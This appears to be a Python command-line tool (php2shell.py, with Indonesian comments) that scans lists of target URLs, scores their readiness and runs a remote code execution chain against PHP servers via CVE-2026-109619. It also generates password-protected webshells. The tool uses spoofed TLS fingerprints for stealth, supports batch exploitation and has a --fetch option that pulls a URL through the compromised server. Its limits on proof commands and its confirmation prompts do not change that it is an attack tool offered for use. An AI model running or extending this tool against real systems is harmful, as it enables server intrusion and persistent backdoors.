Repository navigation
Expand file tree
/
Copy pathphp2shell.py
More file actions
706 lines (608 loc) · 28.6 KB
/
Copy pathphp2shell.py
File metadata and controls
706 lines (608 loc) · 28.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
"""php2shell.py — SATU CLI untuk deteksi + preflight + exploit + laporan.
Mode:
scan baca targets.txt -> detect -> preflight -> (opsional) exploit -> laporan
detect satu/lebih URL, deteksi saja (non-destruktif)
preflight satu URL, skor kesiapan exploit
exploit satu URL, langsung ke mesin rantai internal (READY + konfirmasi)
shell panggil shell/safe_shell.py (generator, bukan uploader)
Pagar yang tidak bisa dimatikan:
- exploit hanya jalan bila READY (tanpa blocker keras) DAN --yes/kofirmasi
- perintah default `id` (proof-of-access), maksimal 14 byte, tanpa chaining
- --revshell TIDAK ADA di parser dan diblokir di level runner
- semua request lewat transport stealth yang sama (JA3 konsisten)
Arsitektur:
Rantai CVE berjalan IN-PROCESS dari lib/chain.py. Toolkit tidak memanggil
exploit.py di root repo. Satu-satunya subprocess yang tersisa adalah mode
`shell`, yang memanggil `shell/safe_shell.py` sebagai generator terpisah.
Pemetaan nama flag penting:
--ja3 profil sidik jari TLS toolkit ini (chrome/firefox/safari/...)
--exploit-profile profil OFFSET mesin rantai (lab|bookworm)
Venv wajib: /home/lota1337/myenv/bin/python
"""
from __future__ import annotations
import argparse
import hashlib
import os
import subprocess
import sys
import time
from pathlib import Path
HERE = Path(__file__).resolve().parent # php2shell/ (repo root)
ROOT = HERE # repo baru: shell/ dan docker/ tinggal di sini
sys.path.insert(0, str(HERE))
from lib import banner as banner_mod # noqa: E402
from lib import detect as detect_mod # noqa: E402
from lib import preflight as preflight_mod # noqa: E402
from lib import reporter # noqa: E402
from lib.exploit_runner import ( # noqa: E402
DEFAULT_CMD,
build_command_preview,
validate_command,
)
from lib.exploit_runner import run as run_exploit # noqa: E402
from lib.transport import ( # noqa: E402
DEFAULT_DELAY,
HAVE_CURL_CFFI,
PROFILES,
Transport,
load_targets,
)
CVE_IDS = banner_mod.CVE_IDS
CVE_CHOICES = ("CVE-2026-109618", "CVE-2026-109619")
# CVE yang rantai PoC-nya sudah diimplementasikan di lib/chain.py.
#
# KOREKSI 2026-10-23: rantai 3-tahap (heap leak -> libphp base -> zif_system
# via pDestructor) adalah CVE-2026-109619, BUKAN 109618. Advisory primer:
# GHSA-6wmf-4rv5-p3rp = 109619 "stale global state" — producer di request 1,
# consumer di request 2 pada worker yang sama, lewat session upload progress.
# Advisory menyebut eksplisit: "With mod_php, both the producing operation
# and fatal error can occur during multipart startup."
# 109618 "OOM corruption" adalah bug SATU request yang konsumennya shutdown
# procedure; tool ini tidak mengimplementasikannya.
CVE_SUPPORTED = ("CVE-2026-109619",)
VERSION = "1.2"
# ---------------------------------------------------------------- banner ----
SHOWN = False # banner dicetak tepat sekali per proses
def chain_sha256() -> str:
"""sha256 lib/chain.py — mesin rantai yang BENAR-BENAR dipakai.
Sebelumnya fungsi ini menghitung exploit.py, sisa dari arsitektur lama
saat toolkit masih memanggil subprocess. Sekarang rantai berjalan
in-process dari lib/chain.py, jadi yang dicetak harus hash file itu.
Tanpa ini, banner mencetak hash file yang tidak pernah dieksekusi.
"""
try:
with open(os.path.join(HERE, "lib", "chain.py"), "rb") as fh:
return hashlib.sha256(fh.read()).hexdigest()
except OSError:
return ""
def _banner(args=None, mode: str = "", force: bool = False) -> None:
"""Cetak banner SEKALI saja.
Argparse memanggil formatter untuk `-h` maupun saat error argumen, dan
itu terjadi di dalam parse_args() — sebelum main() jalan. Tanpa penjaga
ini banner bisa muncul 2x (sekali dari formatter, sekali dari main),
seperti yang terjadi pada `scan -u ...` yang salah argumen.
"""
global SHOWN
if SHOWN and not force:
return
SHOWN = True
profile = getattr(args, "ja3", None) if args else None
delay = getattr(args, "delay", None) if args else None
print(banner_mod.render(
mode=mode, profile=profile or "", delay=delay or 0.0,
stealth=HAVE_CURL_CFFI, version=VERSION,
))
sha = chain_sha256()
if sha:
print(f" mesin rantai: lib/chain.py sha256={sha}")
print()
def _ok(s): return s
def _warn(s): return s
def _bad(s): return s
# ------------------------------------------------------------- helpers ----
def _require_scheme(url: str) -> str:
"""Pastikan URL punya skema http/https SEBELUM apa pun dilakukan.
Tanpa ini, `exploit -u sibermua.ac.id` diterima dengan tenang, target
dihubungi, dan baru 3 detik kemudian meledak sebagai ValueError di dalam
rantai. Pesan errornya benar tapi tempatnya salah: pemakaian keliru harus
ditolak parser (exit 2), bukan dilaporkan sebagai kegagalan runtime.
`localhost:8099` sengaja TIDAK diperbaiki otomatis — menebak niat operator
lebih berbahaya daripada memintanya menulis skema.
"""
if not url.lower().startswith(("http://", "https://")):
raise SystemExit(
f"php2shell: error: URL harus diawali http:// atau https:// "
f"(didapat: {url!r})"
)
return url
def _detect_one(url: str, t: Transport, args) -> dict:
d = detect_mod.detect(
url,
transport=t,
check_upload_progress=not args.no_upload_progress,
check_display_errors=not args.no_display_errors,
)
p = preflight_mod.preflight(d)
return {"url": url, "detect": d.as_dict(), "preflight": p.as_dict()}
def _line(rec: dict) -> str:
d, p = rec["detect"], rec["preflight"]
ver = d.get("php_version") or d.get("branch") or "?"
tag = "READY" if p["ready"] else " - "
return (
f"{d['verdict']:<10} | {ver:<8} | up={d['upload_progress']:<7} | "
f"disp={d['display_errors']:<7} | score={p['score']:>2}/{p['max_score']} | {tag}"
)
def _mk_transport(args) -> Transport:
return Transport(
profile=args.ja3, delay=args.delay, timeout=args.timeout,
proxy=args.proxy, audit_log=args.audit,
)
def _exploit_opts(args) -> dict:
"""Parameter rantai yang AKAN dipakai, untuk pratinjau "akan jalan"."""
return {
"cve": getattr(args, "cve", None),
"profile": getattr(args, "exploit_profile", None),
"zif_offset": getattr(args, "zif_offset", None),
"dtor_offset": getattr(args, "dtor_offset", None),
"htdata_offset": getattr(args, "htdata_offset", None),
"huge_mb": getattr(args, "huge_mb", None),
"retries": getattr(args, "retries", None),
"fetch": getattr(args, "fetch", None),
}
def _add_exploit_flags(p: argparse.ArgumentParser, single: bool) -> None:
"""Flag mesin rantai internal (lib/chain.py)."""
g = p.add_argument_group("opsi mesin rantai (lib/chain.py, internal)")
g.add_argument("--cve", choices=CVE_CHOICES, default="CVE-2026-109619",
help=("CVE yang ditembak (default %(default)s). "
"109618 tidak diimplementasikan tool ini"))
g.add_argument("-c", "--cmd", default=DEFAULT_CMD,
help=f"perintah proof (default {DEFAULT_CMD!r}, maks 14 byte, tanpa chaining)")
g.add_argument("--allow-cmd", action="append", default=None, metavar="CMD",
help=("tambah perintah proof di luar default (id, whoami). "
"Pilihan: uname, hostname, pwd, ls, cat, df, uptime, "
"who, w, env. Berulang: --allow-cmd ls --allow-cmd df. "
"sh/bash/nc/curl/wget selamanya diblokir."))
g.add_argument("--exploit-timeout", type=int, default=300,
help="timeout per exploit, detik (default 300)")
g.add_argument("--zif-offset", default=None,
help="offset zif_system, mis. 0x465370 (default: profil)")
g.add_argument("--dtor-offset", default=None,
help="offset zend_hash_destroy, mis. 0x65eb60")
g.add_argument("--htdata-offset", default=None,
help="offset hash table data")
g.add_argument("--offsets-file", default="",
help="file profil offset; '' = jangan pakai profil lab (default '')")
g.add_argument("--no-auto-offsets", action="store_true",
help="jangan cari offset otomatis")
g.add_argument("--exploit-profile", choices=("lab", "bookworm"), default=None,
help="profil offset exploit.py (BUKAN sidik jari TLS)")
g.add_argument("--huge-mb", type=int, default=None,
help="ukuran heap grooming MB (default upstream 12)")
g.add_argument("--fetch", default=None,
help="URL yang di-fetch lewat RCE setelah eksekusi")
g.add_argument("--retries", type=int, default=None,
help="jumlah retry per tahap (default upstream 3)")
g.add_argument("--no-pre-rotate", action="store_true",
help="jangan rotate worker sebelum preflight")
g.add_argument("--no-retry-rotate", action="store_true",
help="jangan rotate worker saat retry")
g.add_argument("--proof-file", default=None,
help="simpan bukti ke file ini")
g.add_argument("--output-file", default=None,
help="file output exploit.py (-o/--output)")
g.add_argument("--quiet", action="store_true",
help="perkecil output exploit.py (-q)")
if not single:
g.add_argument("--threads", type=int, default=None,
help="threads exploit.py per target (default upstream 5)")
# ---------------------------------------------------------------- modes ----
def cmd_detect(args) -> int:
t = _mk_transport(args)
urls = args.urls or load_targets(args.list)
if not urls:
print("tidak ada target", file=sys.stderr)
return 2
records = []
for u in urls:
rec = _detect_one(u, t, args)
records.append(rec)
d = rec["detect"]
print(f" {d['verdict']:<10} {d['url']}")
if d["reason"]:
print(f" {d['reason']}")
for s in d["signals"]:
print(f" + {s}")
if d["error"]:
print(f" ! {d['error']}")
t.close()
print()
print(reporter.table(records))
print()
print(reporter.summary(records))
if args.json:
print(f"json: {reporter.write_json(args.json, records, {'mode': 'detect', 'cve': CVE_IDS})}")
if args.csv:
print(f"csv : {reporter.write_csv(args.csv, records)}")
return 0
def cmd_preflight(args) -> int:
t = _mk_transport(args)
url = _require_scheme(args.urls[0])
rec = _detect_one(url, t, args)
t.close()
d, p = rec["detect"], rec["preflight"]
print(f"URL : {url}")
print(f"verdict : {d['verdict']} — {d['reason']}")
print(f"PHP : {d['php_version'] or 'tidak bocor'} (branch {d['branch'] or '?'})")
print(f"upload_prog : {d['upload_progress']}")
print(f"display_err : {d['display_errors']}")
print()
for k, v in p["checks"].items():
print(f" {k:<15}: {v}")
print()
for b in p["blockers"]:
print(f" BLOCKER: {b}")
for n in p["notes"]:
print(f" catatan: {n}")
print()
print(f"skor : {p['score']}/{p['max_score']}")
print(f"siap exploit : {'YA' if p['ready'] else 'TIDAK'}")
if args.json:
print(f"json: {reporter.write_json(args.json, [rec], {'mode': 'preflight', 'cve': CVE_IDS})}")
return 0
def _confirm(n: int, args) -> bool:
if getattr(args, "yes", False):
return True
if not sys.stdin.isatty():
return False
try:
ans = input(f"Jalankan exploit pada {n} target? [y/N] ")
except EOFError:
return False
return ans.strip().lower() in ("y", "ya", "yes")
def _run_exploits(candidates: list[dict], args) -> None:
# whitelist runtime: default id/whoami; --allow-cmd menambah (bounded)
try:
from lib.exploit_runner import set_allowed_cmds
wl = set_allowed_cmds(getattr(args, "allow_cmd", None))
if getattr(args, "allow_cmd", None):
print(f" whitelist proof: {', '.join(wl)}")
except ValueError as e:
for r in candidates:
r["exploit"] = {"success": False, "error": str(e)}
print(f" {e}")
return
why = validate_command(args.cmd)
if why:
for r in candidates:
r["exploit"] = {"success": False, "error": why}
print(f" {why}")
return
print()
for r in candidates:
print(" " + build_command_preview(
r["url"], args.cmd, opts=_exploit_opts(args),
))
print()
for r in candidates:
print(f" -> {r['url']} cmd={args.cmd!r}", flush=True)
res = run_exploit(
r["url"], cmd=args.cmd,
cve=args.cve,
profile=args.exploit_profile or "bookworm",
zif_offset=args.zif_offset,
dtor_offset=args.dtor_offset,
htdata_offset=args.htdata_offset,
huge_mb=args.huge_mb or 12,
retries=args.retries or 3,
no_pre_rotate=args.no_pre_rotate,
no_retry_rotate=args.no_retry_rotate,
fetch=args.fetch or "",
timeout=args.timeout or 15.0,
max_total_timeout=args.exploit_timeout,
quiet=False,
)
r["exploit"] = res.as_dict()
tag = "PROOF" if res.success else "gagal"
msg = res.proof or res.error or f"rc={res.returncode}"
print(f" {tag} ({res.duration:.1f}s): {msg}")
def cmd_scan(args) -> int:
# `-l` wajib, tapi divalidasi DI SINI (bukan required=True di argparse)
# supaya user yang mengetik `scan -u <url>` dapat arahan yang berguna,
# bukan "error: the following arguments are required: -l/--list".
if not args.list:
if getattr(args, "urls", None):
print("scan menerima DAFTAR file, bukan URL langsung.", file=sys.stderr)
print(" untuk satu URL: php2shell.py detect -u <url>", file=sys.stderr)
print(" untuk exploit: php2shell.py exploit -u <url>", file=sys.stderr)
print(" untuk banyak: tulis URL ke file lalu scan -l file.txt", file=sys.stderr)
else:
print("scan butuh -l <file.txt> (satu URL per baris).", file=sys.stderr)
print(" contoh: php2shell.py scan -l targets.txt", file=sys.stderr)
return 2
urls = load_targets(args.list)
if not urls:
print(f"file {args.list} tidak menghasilkan target", file=sys.stderr)
return 2
print(f"target : {len(urls)} entri dari {args.list}")
print(f"exploit: {'AKAN dijalankan (target READY saja)' if args.exploit else 'tidak — detect saja'}")
print()
t = _mk_transport(args)
records: list[dict] = []
for i, u in enumerate(urls, 1):
print(f"[{i}/{len(urls)}] {u}", flush=True)
rec = _detect_one(u, t, args)
records.append(rec)
print(f" {_line(rec)}")
if rec["detect"]["reason"]:
print(f" {rec['detect']['reason']}")
t.close()
if args.exploit:
candidates = [r for r in records if r["preflight"]["ready"]]
print()
print(f"kandidat siap-exploit: {len(candidates)}")
if not candidates:
print("tidak ada target yang memenuhi syarat — exploit dilewati")
elif not _confirm(len(candidates), args):
print("DIBATALKAN — tidak ada exploit dijalankan (pakai --yes untuk non-interaktif)")
for r in candidates:
r["exploit"] = {"success": False, "error": "dibatalkan pengguna"}
else:
_run_exploits(candidates, args)
out_json = args.json or str(HERE / "out" / "scan.json")
out_csv = args.csv or str(HERE / "out" / "scan.csv")
pj = reporter.write_json(out_json, records, {
"mode": "scan",
"cve": args.cve,
"version": VERSION,
"targets_file": str(args.list),
"ja3": args.ja3,
"exploit_profile": args.exploit_profile,
"delay": args.delay,
"exploit_requested": bool(args.exploit),
"exploit_cmd": args.cmd if args.exploit else None,
"chain_engine": "lib/chain.py (internal)",
"generated": time.strftime("%Y-%m-%dT%H:%M:%S%z"),
})
pc = reporter.write_csv(out_csv, records)
print()
print(reporter.table(records))
print()
print(reporter.summary(records))
print()
print(f"json: {pj}")
print(f"csv : {pc}")
return 0
def cmd_exploit(args) -> int:
"""Satu URL, langsung ke mesin rantai internal (lib/chain.py).
Tetap butuh READY + konfirmasi. Tidak ada subprocess, tidak memanggil
exploit.py di root repo.
"""
url = _require_scheme(args.urls[0])
# Validasi perintah HARUS paling awal. Kalau ditaruh setelah gate target,
# target yang tidak terjangkau akan menolak duluan dan `-c 'id; uname -a'`
# lolos tanpa pernah diperiksa — pagar jadi bergantung pada jaringan.
# --allow-cmd diterapkan duluan supaya whitelist runtime final yang divalidasi.
try:
from lib.exploit_runner import set_allowed_cmds
set_allowed_cmds(getattr(args, "allow_cmd", None))
except ValueError as e:
print(f"URL : {url}")
print(str(e))
print("batal : perintah proof ditolak sebelum apa pun dikirim")
return 2
why = validate_command(getattr(args, "cmd", DEFAULT_CMD))
if why:
print(f"URL : {url}")
print(f"{why}")
print("batal : perintah proof ditolak sebelum apa pun dikirim")
return 2
t = _mk_transport(args)
rec = _detect_one(url, t, args)
t.close()
d, p = rec["detect"], rec["preflight"]
print(f"URL : {url}")
print(f"verdict : {d['verdict']} — {d['reason']}")
print(f"skor : {p['score']}/{p['max_score']} ({'READY' if p['ready'] else 'TIDAK SIAP'})")
for b in p["blockers"]:
print(f" BLOCKER: {b}")
print()
force = getattr(args, "force", False)
# Ditolak: jangan pernah mencetak "akan jalan". Baris itu hanya bermakna kalau
# perintah MEMANG akan dieksekusi; kalau dicetak setelah DITOLAK, user melihat
# perintah yang seolah berjalan padahal sudah dibatalkan (menyesatkan).
if not p["ready"] and not force:
print("DITOLAK — target tidak memenuhi pra-syarat; pakai --force untuk memaksa")
print(f"batal : tidak ada yang dikirim ke {url}")
print("kurang : " + (", ".join(p["blockers"]) if p["blockers"] else "pra-syarat lain"))
return 1
# Akan dieksekusi (READY, atau dipaksa dengan --force): tampilkan argv persisnya
# supaya user bisa membandingkan "yang ditampilkan" dengan "yang dikirim".
preview = build_command_preview(
rec["url"], cmd=getattr(args, "cmd", DEFAULT_CMD),
opts=_exploit_opts(args),
)
if force and not p["ready"]:
print("DIPAKSA — pra-syarat tidak terpenuhi, atas permintaan --force")
print(f"akan jalan: {preview}")
print()
if not _confirm(1, args):
print("DIBATALKAN — tidak ada exploit dijalankan (pakai --yes)")
return 1
_run_exploits([rec], args)
res = rec.get("exploit", {})
print()
print(f"proof : {res.get('proof') or '-'}")
print(f"error : {res.get('error') or '-'}")
if args.json:
print(f"json: {reporter.write_json(args.json, [rec], {'mode': 'exploit', 'cve': args.cve, 'chain_engine': 'lib/chain.py (internal)'})}")
return 0 if res.get("success") else 1
def cmd_shell(args) -> int:
gen = ROOT / "shell" / "safe_shell.py"
if not gen.exists():
print(f"tidak ada {gen}", file=sys.stderr)
return 2
argv = [sys.executable, str(gen), "--out", args.out, "--ttl", str(args.ttl)]
if args.commands:
argv += ["--commands", args.commands]
if args.author:
argv += ["--author", args.author]
if args.purpose:
argv += ["--purpose", args.purpose]
return subprocess.run(argv).returncode
# --------------------------------------------------------------- parser ----
class BannerHelp(argparse.RawDescriptionHelpFormatter):
"""Help yang selalu diawali ASCII banner — termasuk untuk `-h`.
Dua hal yang HARUS ditimpa:
format_help() -> untuk `-h` / `--help`
format_usage() -> untuk pesan error argparse ("usage: ...").
Tanpa format_usage(), `usage:` ternoda karena prog-nya ikut berisi
banner: "usage: ____ _ _ ____ ...". Itu bug yang terlihat di
`php2shell.py scan -u ...` (scan butuh -l, bukan -u).
"""
def format_usage(self) -> str:
return super().format_usage()
def format_help(self) -> str:
return (banner_mod.render(mode="", version=VERSION) + "\n"
+ banner_mod.GUARDS_TEXT + "\n"
+ super().format_help())
class SubHelp(argparse.RawDescriptionHelpFormatter):
"""Help subcommand (scan/detect/...) — TANPA banner, TANPA pagar.
Alasannya: `scan --help` dipanggil untuk membaca flag, bukan untuk
melihat identitas tool. Banner 12 baris di sini hanya mendorong daftar
flag ke luar layar.
"""
pass
def build_parser() -> argparse.ArgumentParser:
# Flag global memakai parser induk supaya bisa ditaruh SEBELUM **atau**
# SESUDAH subcommand. Tanpa ini, `scan -l x.txt --json out.json` gagal
# dengan "unrecognized arguments" — jebakan argparse yang membingungkan.
common = argparse.ArgumentParser(add_help=False, formatter_class=BannerHelp)
common.add_argument("--ja3", default="chrome", choices=sorted(PROFILES),
help="profil sidik jari TLS (default: chrome)")
common.add_argument("--delay", type=float, default=DEFAULT_DELAY,
help=f"jeda antar-request detik + jitter (default: {DEFAULT_DELAY})")
common.add_argument("--timeout", type=int, default=15, help="timeout HTTP detik (default: 15)")
common.add_argument("--proxy", default=None, help="proxy http(s), mis. http://127.0.0.1:8080")
common.add_argument("--audit", default=None, help="tulis audit JSONL ke file ini")
common.add_argument("--python", default=None, help="python untuk exploit.py (default: yang sedang jalan)")
common.add_argument("--no-upload-progress", action="store_true", help="lewati probe upload_progress")
common.add_argument("--no-display-errors", action="store_true", help="lewati probe display_errors")
common.add_argument("--json", default=None, help="path output JSON")
common.add_argument("--csv", default=None, help="path output CSV")
common.add_argument("-v", "--verbose", action="store_true", help="tampilkan setiap request")
ap = argparse.ArgumentParser(
prog="php2shell",
parents=[common],
description=f"Toolkit terpadu {CVE_IDS} — deteksi, preflight, exploit, laporan.",
# allow_abbrev=False WAJIB: tanpa ini `-c id` disangka singkatan
# `--csv`, dan `--cve` bertabrakan dengan `--csv`. Argparse lalu
# menolak "unrecognized arguments: -c id" — membingungkan karena
# help sendiri menampilkan `-c`.
allow_abbrev=False,
epilog=("contoh:\n"
" php2shell.py scan -l targets.txt\n"
" php2shell.py scan -l targets.txt --exploit --yes --cmd id\n"
" php2shell.py scan -l targets.txt --zif-offset 0x465370 --dtor-offset 0x65eb60\n"
" php2shell.py detect -u https://host/\n"
" php2shell.py preflight -u https://host/\n"
" php2shell.py exploit -u https://host/ --yes\n"
" php2shell.py shell --out shell/out --ttl 72\n"),
formatter_class=BannerHelp,
)
sub = ap.add_subparsers(dest="mode", help="mode kerja")
s = sub.add_parser("scan", parents=[common], formatter_class=SubHelp, prog="php2shell scan",
help="scan daftar target dari file .txt",
epilog=("contoh:\n"
" php2shell.py scan -l targets.txt\n"
" php2shell.py scan -l targets.txt --exploit --yes\n"
"\n"
"untuk SATU url pakai: php2shell.py detect -u https://host/\n"
"atau: php2shell.py exploit -u https://host/\n"))
s.add_argument("-l", "--list", help="file .txt, satu URL per baris (wajib)")
# -u diterima HANYA untuk memberi pesan yang berguna, bukan untuk scan.
# Tanpa ini user mengira `scan -u <url>` didukung, lalu tertahan oleh
# error "required: -l/--list" yang tidak menjelaskan apa pun.
s.add_argument("-u", "--urls", nargs="+", help=argparse.SUPPRESS)
s.add_argument("--exploit", action="store_true", help="lanjut eksploitasi target READY")
s.add_argument("--yes", action="store_true", help="konfirmasi non-interaktif")
_add_exploit_flags(s, single=False)
d = sub.add_parser("detect", parents=[common], formatter_class=SubHelp, prog="php2shell detect", help="deteksi satu/lebih URL")
d.add_argument("-u", "--urls", nargs="+", help="URL target")
d.add_argument("-l", "--list", help="atau file .txt")
p = sub.add_parser("preflight", parents=[common], formatter_class=SubHelp, prog="php2shell preflight", help="skor kesiapan exploit satu URL")
p.add_argument("-u", "--urls", nargs=1, required=True)
e = sub.add_parser("exploit", parents=[common], formatter_class=SubHelp, prog="php2shell exploit", help="eksploitasi satu URL (READY + konfirmasi)")
e.add_argument("-u", "--urls", nargs=1, required=True)
e.add_argument("--yes", action="store_true", help="konfirmasi non-interaktif")
e.add_argument("--force", action="store_true", help="paksa walau preflight TIDAK siap")
_add_exploit_flags(e, single=True)
sh = sub.add_parser("shell", parents=[common], formatter_class=SubHelp, prog="php2shell shell", help="generate webshell berpassword (folder shell/)")
sh.add_argument("--out", default="shell/out")
sh.add_argument("--ttl", type=int, default=72)
sh.add_argument("--commands", default=None)
sh.add_argument("--author", default=None)
sh.add_argument("--purpose", default=None)
return ap
def main(argv: list[str] | None = None) -> int:
ap = build_parser()
argv = list(sys.argv[1:] if argv is None else argv)
# --version / -V ditangani SEBELUM argparse.
# Alasan: dengan formatter BannerHelp, action="version" bawaan argparse
# ikut memanggil format_help() sehingga banner penuh tercetak dan output
# tidak lagi satu baris (tidak skripable). Menanganinya di sini membuat
# perilakunya pasti: satu baris, exit 0, baik di top-level maupun setelah
# subcommand (`scan --version`).
if any(a in ("--version", "-V") for a in argv):
floors = "/".join(banner_mod.FIX_FLOOR[b] for b in sorted(banner_mod.FIX_FLOOR))
print(f"php2shell {VERSION} {CVE_IDS} fix-floor: {floors}")
return 0
# Tanpa argumen: tampilkan splash, bukan error argparse yang kaku.
if not argv:
print(banner_mod.splash())
return 0
args = ap.parse_args(argv)
if not args.mode:
print(banner_mod.splash())
return 0
# Gagal cepat: jangan biarkan pengguna menunggu rantai panjang untuk CVE
# yang TIDAK diimplementasikan tool ini. Exit 2 karena ini kesalahan
# pemakaian, bukan runtime.
cve = getattr(args, "cve", None)
if cve and cve not in CVE_SUPPORTED:
ap.error(
f"{cve} tidak diimplementasikan tool ini; pilihan sah: "
f"{', '.join(CVE_SUPPORTED)}\n"
f" Kenapa: rantai tool ini (heap-leak → libphp-base → zif_system "
f"via\n"
f" pDestructor) menargetkan CVE-2026-109619 (stale global state, "
f"2 request).\n"
f" 109618 (OOM corruption, konsumen=shutdown, 1 request) punya "
f"rantai beda dan\n"
f" tidak disalin ke sini. Bukti crash 109618: verifikator asli "
f"ikow/php2shell-poc\n"
f" (poc/verify_oom_trigger.py) — lihat LAPORAN_UJI_DOCKER."
)
_banner(args, mode=args.mode)
try:
if args.mode == "scan":
return cmd_scan(args)
if args.mode == "detect":
if not args.urls and not args.list:
ap.error("detect butuh -u URL atau -l file.txt")
return cmd_detect(args)
if args.mode == "preflight":
return cmd_preflight(args)
if args.mode == "exploit":
return cmd_exploit(args)
if args.mode == "shell":
return cmd_shell(args)
except FileNotFoundError as exc:
print(f"error: {exc}", file=sys.stderr)
return 2
except KeyboardInterrupt:
print("\ndihentikan pengguna", file=sys.stderr)
return 130
ap.error(f"mode tidak dikenal: {args.mode}")
return 2
if __name__ == "__main__":
raise SystemExit(main())